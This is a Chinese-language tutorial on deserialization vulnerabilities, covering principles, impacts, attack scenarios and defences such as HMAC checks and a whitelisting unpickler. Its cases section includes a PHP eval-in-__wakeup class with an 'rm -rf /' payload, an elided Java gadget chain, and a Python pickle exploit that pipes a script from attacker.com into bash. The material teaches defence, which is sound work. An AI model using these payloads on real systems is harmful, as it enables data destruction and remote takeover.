反序列化漏洞

一、定义

序列化（Serialization）

• 定义：将程序中的对象（如用户信息、商品数据）转换为可以存储或传输的格式（字符串/二进制）
• 类比：把乐高模型拆解成零件清单

• 常见格式：

  • JSON：{"name": "Alice", "age": 25}
  • XML：<user><name>Alice</name><age>25</age></user>
  • 二进制格式（Java的Serializable，Python的pickle）

反序列化（Deserialization）

• 定义：将序列化的数据还原为程序可操作的对象
• 类比：用零件清单重新拼装乐高模型
• 关键点：恢复数据的同时可能恢复对象的方法和属性

二、反序列化漏洞的原理

• 程序接受不可信的序列化数据。
• 反序列化过程自动执行特定方法（如PHP的__wakeup()，Java的readObject()）。
• 攻击者可以控制输入的内容。

危险操作举例：

// Java示例：危险的反序列化代码
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();  // 可能执行恶意代码

注意：

• 本质上在PHP中serialize()和unserialize()在PHP内部实现上是没有漏洞的，漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
• 当传给 unserialize() 的参数可控时，那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法，造成意想不到的危害。

反序列化漏洞是Web安全领域的高危漏洞类型，其核心在于程序过度信任用户输入的序列化数据。

三、危害

• 完全控制服务器（通过RCE）。
• 数据库信息泄露（如用户密码、支付信息）。
• 植入后门程序。
• 发起内网渗透攻击。
• 企业敏感数据泄露。

四、攻击场景

Web应用

• Cookie中存储序列化的用户信息
• API接口接收序列化参数
• 文件上传功能（如上传包含序列化数据的配置文件）

分布式系统

• RPC（远程过程调用）
• 消息队列（RabbitMQ, Kafka）
• 缓存系统（Redis, Memcached）

文件传输

• 办公文档（如Word/Excel的OLE对象）
• 游戏存档文件
• 应用程序配置文件

五、防护措施

输入验证：

• 校验数据签名
• 使用HMAC验证数据完整性

安全配置：

• 禁用危险的反序列化方法
• 使用JSON等简单格式替代二进制序列化

白名单机制：

# Python安全示例：使用SafeUnpickler
import pickle

class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in ["__main__", "safe_module"]:
            raise pickle.UnpicklingError("Unsafe class")
        return super().find_class(module, name)

安全工具：

• Java：使用SerialKiller替换ObjectInputStream
• .NET：使用JSON.NET代替BinaryFormatter

监控措施：

• 记录反序列化异常日志
• 使用RASP（运行时应用自我保护）技术

六、不同编程语言的案例

PHP（__wakeup魔术方法）

class VulnerableClass {
    public $data = "echo 'Hello World';";
    
    public function __wakeup() {
        eval($this->data);
    }
}

// 攻击payload
$obj = new VulnerableClass();
$obj->data = "system('rm -rf /');";
$serialized = serialize($obj);

Java（Apache Commons Collections）

// 构造恶意Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("invoke", ...),
    new InvokerTransformer("exec", ...)
};

Python（pickle模块）

import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit()))